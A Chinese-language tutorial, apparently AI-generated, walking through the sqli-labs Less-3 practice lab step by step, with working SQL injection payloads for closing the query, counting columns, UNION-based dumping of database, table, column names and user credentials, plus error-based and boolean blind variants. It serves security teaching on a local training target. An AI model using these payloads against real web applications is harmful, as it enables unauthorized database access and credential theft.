Sqli-Labs Less-3 靶场完整解题流程解析-豆包生成

Sqli-Labs Less-3 靶场完整解题流程解析

你作为网络安全初学者,希望我详细讲解sqli-labs-master/Less-3靶场的完整解题过程,并且对其中的难点知识点进行拆解、扩展,帮助你理解每一步的原理和逻辑。下面我会从环境准备→注入类型判断→闭合方式分析→信息爆破 一步步讲解,确保每个环节都清晰易懂。

前置知识:Less-3 核心背景

sqli-labs Less-3 是单引号+括号闭合的字符型SQL注入 靶场,后台核心SQL语句大致为:

SQL 复制代码
SELECT * FROM users WHERE id=('$id') LIMIT 0,1;

和数字型注入(id=1)、单纯字符型注入(id='1')的区别是:这里的参数被('')双层包裹,这也是解题的核心难点。


步骤1:判断是否存在SQL注入点

首先测试基础参数,确认注入点是否存在:

2.1 正常访问

访问URL:http://localhost/sqli-labs-master/Less-3/?id=1

页面返回:You are in...........,说明参数id=1能正常查询数据。

2.2 测试异常参数(判断注入类型)

访问URL:http://localhost/sqli-labs-master/Less-3/?id=1'

页面返回报错信息

Plain 复制代码
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
关键分析:

报错信息是解题的"钥匙"!我们拆解报错和后台SQL的对应关系:

  • 后台原语句:SELECT * FROM users WHERE id=('$id') LIMIT 0,1

  • 当输入id=1'时,代入后变成:SELECT * FROM users WHERE id=('1'') LIMIT 0,1

  • 多余的单引号('1'')导致SQL语法错误,说明这是字符型注入(数字型注入加单引号不会报这种语法错)。


步骤2:确定SQL语句的闭合方式(核心难点)

从报错信息near ''1'') LIMIT 0,1'可以拆解:

  • 原语句中id() + 单引号包裹 → ('$id')

  • 输入1'后,变成('1''),需要"闭合"多余的单引号和括号,让SQL语法恢复正常。

测试闭合方式:

访问URL:http://localhost/sqli-labs-master/Less-3/?id=1') --+

页面重新返回You are in...........,说明闭合成功!

难点讲解:闭合原理
  • 1'):用来闭合原语句的(' → 原语句变成id=('1')(前半部分闭合);

  • --+:是MySQL的注释符(--后需要加空格,URL中空格会被编码为+),作用是注释掉后面的) LIMIT 0,1,最终SQL语句变为:

    SQL 复制代码
    SELECT * FROM users WHERE id=('1') -- +') LIMIT 0,1;
    复制代码
    注释后的内容不会执行,语法完全正确。

扩展:注释符的替代方案

  • #:也是MySQL注释符,但URL中#是锚点,需要URL编码为%23,即id=1') %23

  • /*...*/:多行注释,如id=1') /* xxx */


步骤3:爆破字段数(确定union select的字段匹配数)

union select(联合查询)是显注的核心方法,必须满足前后查询的字段数一致,因此需要先确定表的字段数。

操作步骤:

  1. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 1 --+(正常)

  2. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 2 --+(正常)

  3. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 3 --+(正常)

  4. 访问:http://localhost/sqli-labs-master/Less-3/?id=1') order by 4 --+(报错)

结论:

users表有3个字段(id、username、password),这是union select的基础。

知识点扩展:order by的作用

order by N 表示按第N个字段排序,如果N超过表的字段数,就会报错,以此快速判断字段数,比手动猜更高效。


步骤4:使用union select 爆破数据库信息

union select需要满足两个条件:

  1. 前后查询字段数一致(已确定是3);

  2. 原查询无结果(用id=-1让原查询返回空),这样页面才会显示union的查询结果。

5.1 爆破当前数据库名

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,database(),3 --+

页面返回:DATABASE(): security,说明当前数据库是security

关键解释:
  • id=-1:让原查询SELECT * FROM users WHERE id=('-1')无结果(users表没有id=-1的记录);

  • database():MySQL内置函数,返回当前连接的数据库名;

  • 13:占位符(因为字段数要3个),可以替换成任意数字/字符串。

5.2 爆破数据库中的表名

利用MySQL的系统库information_schema(存储所有数据库/表/字段的元数据),查询security库下的所有表:

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

页面返回:TABLE_NAME: emails,referers,uagents,users,核心表是users(存储账号密码)。

难点讲解:information_schema 核心表
表名 核心字段 作用
information_schema.tables table_schema(库名)、table_name(表名) 查询指定库的所有表
information_schema.columns table_schema、table_name、column_name(字段名) 查询指定表的所有字段
关键函数:group_concat()

将多行结果拼接成一行(比如users表有多个字段,直接查会只显示一行,用这个函数能一次性看到所有表/字段),如果不用这个函数,页面只会显示第一个表(emails)。

5.3 爆破users表的字段名

查询security库下users表的所有字段:

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

页面返回:COLUMN_NAME: id,username,password,确认users表的核心字段是usernamepassword

5.4 爆破users表的账号密码

最终步骤:查询users表的所有账号密码:

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(username,':',password),3 from security.users --+

页面返回(示例):

Plain 复制代码
USERNAME:PASSWORD: Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

至此,Less-3靶场的核心数据已全部爆破出来。


扩展知识点:其他注入方式(应对过滤场景)

如果靶场过滤了union select,还可以用以下方式:

1. 报错注入(利用MySQL报错函数)

访问URL:

Plain 复制代码
http://localhost/sqli-labs-master/Less-3/?id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+

页面报错显示:XPATH syntax error: '~security~',直接爆出数据库名。

  • updatexml():MySQL XML函数,参数错误时会报错并显示错误内容;

  • 0x7e:十六进制的~,用来分隔报错内容,避免和其他字符混淆。

2. 布尔盲注(无回显/无报错时)

通过判断条件真假来逐字符爆破:

  • 判断数据库名长度:id=1') and length(database())=8 --+(返回正常,说明长度是8);

  • 判断第一个字符:id=1') and ascii(substr(database(),1,1))=115 --+(115是s的ASCII码,返回正常);

  • 依次爆破每个字符,最终拼出数据库名。


总结(核心关键点)

  1. Less-3的核心是单引号+括号 的字符型注入,闭合方式为1') --+(重点是分析报错信息确定闭合符);

  2. union select是显注核心,需满足字段数一致+原查询无结果两个条件;

  3. information_schema是MySQL元数据核心库,是爆破数据库/表/字段的关键,配合group_concat()可一次性获取所有结果。

通过这个靶场,你需要掌握"判断注入类型→分析闭合方式→爆破字段数→union查询爆信息"的完整SQL注入思路,这也是所有显注类靶场的通用解题逻辑。

相关推荐
0思必得01 小时前
[Web自动化] Selenium处理动态网页
前端·爬虫·python·selenium·自动化
东东5162 小时前
智能社区管理系统的设计与实现ssm+vue
前端·javascript·vue.js·毕业设计·毕设
catino2 小时前
图片、文件的预览
前端·javascript
layman05284 小时前
webpack5 css-loader:从基础到原理
前端·css·webpack
半桔4 小时前
【前端小站】CSS 样式美学:从基础语法到界面精筑的实战宝典
前端·css·html
AI老李4 小时前
PostCSS完全指南:功能/配置/插件/SourceMap/AST/插件开发/自定义语法
前端·javascript·postcss
_OP_CHEN4 小时前
【前端开发之CSS】(一)初识 CSS:网页化妆术的终极指南,新手也能轻松拿捏页面美化!
前端·css·html·网页开发·样式表·界面美化
啊哈一半醒4 小时前
CSS 主流布局
前端·css·css布局·标准流 浮动 定位·flex grid 响应式布局
PHP武器库4 小时前
ULUI:不止于按钮和菜单,一个专注于“业务组件”的纯 CSS 框架
前端·css
电商API_180079052474 小时前
第三方淘宝商品详情 API 全维度调用指南:从技术对接到生产落地
java·大数据·前端·数据库·人工智能·网络爬虫